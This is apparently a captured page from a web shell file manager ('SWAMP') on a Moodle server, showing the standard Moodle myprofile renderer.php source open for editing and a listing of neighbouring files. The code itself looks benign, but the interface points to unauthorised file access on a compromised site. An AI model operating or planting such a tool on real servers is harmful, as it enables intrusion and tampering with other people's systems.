░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
pplmvsvm
LOCATION:
/var/www/moodle/public/user/classes/output/myprofile
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: renderer.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. namespace core_user\output\myprofile; use core\output\html_writer; /** * Users' my profile renderer * * @since Moodle 2.9 * @package core_user * @copyright 2015 onwards Ankit Agarwal <ankit.agrr@gmail.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class renderer extends \plugin_renderer_base { /** * Render the whole tree. * * @param tree $tree * @return string */ public function render_tree(tree $tree) { $return = html_writer::start_tag('div', ['class' => 'profile_tree']); $categories = $tree->categories; foreach ($categories as $category) { $return .= $this->render($category); } $return .= html_writer::end_tag('div'); return $return; } /** * Render a category. * * @param category $category * @return string */ public function render_category(category $category) { $return = html_writer::start_tag( 'section', ['class' => 'node_category card d-inline-block w-100 mb-3 ' . (string) $category->classes], ); $return .= html_writer::start_tag('div', ['class' => 'card-body']); $return .= html_writer::tag('h3', $category->title, ['class' => 'lead']); $nodes = $category->nodes; if (empty($nodes)) { // No nodes, nothing to render. return ''; } $return .= html_writer::start_tag('ul'); foreach ($nodes as $node) { $return .= $this->render($node); } $return .= html_writer::end_tag('ul'); $return .= html_writer::end_tag('div'); $return .= html_writer::end_tag('section'); return $return; } /** * Render a node. * * @param node $node * @return string */ public function render_node(node $node) { $return = ''; if (is_object($node->url)) { $header = html_writer::link($node->url, $node->title); } else { $header = $node->title; } $icon = $node->icon; if (!empty($icon)) { $header .= $this->render($icon); } $content = $node->content; $classes = $node->classes; if (!empty($content)) { if ($header) { // There is some content to display below this make this a header. $return = html_writer::tag('dt', $header); $return .= html_writer::tag('dd', $content); $return = html_writer::tag('dl', $return); } else { $return = html_writer::span($content); } if ($classes) { $return = html_writer::tag('li', $return, ['class' => 'contentnode ' . $classes]); } else { $return = html_writer::tag('li', $return, ['class' => 'contentnode']); } } else { $return = html_writer::span($header); $return = html_writer::tag('li', $return, ['class' => $classes]); } return $return; } }
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📄 category.php
PHP
6.6 KB
2026-02-11 01:44
EDIT
📄 manager.php
PHP
2.8 KB
2026-02-11 01:44
EDIT
📄 node.php
PHP
3.5 KB
2026-02-11 01:44
EDIT
📄 renderer.php
PHP
3.7 KB
2026-02-11 01:44
EDIT
📄 tree.php
PHP
4.9 KB
2026-02-11 01:44
EDIT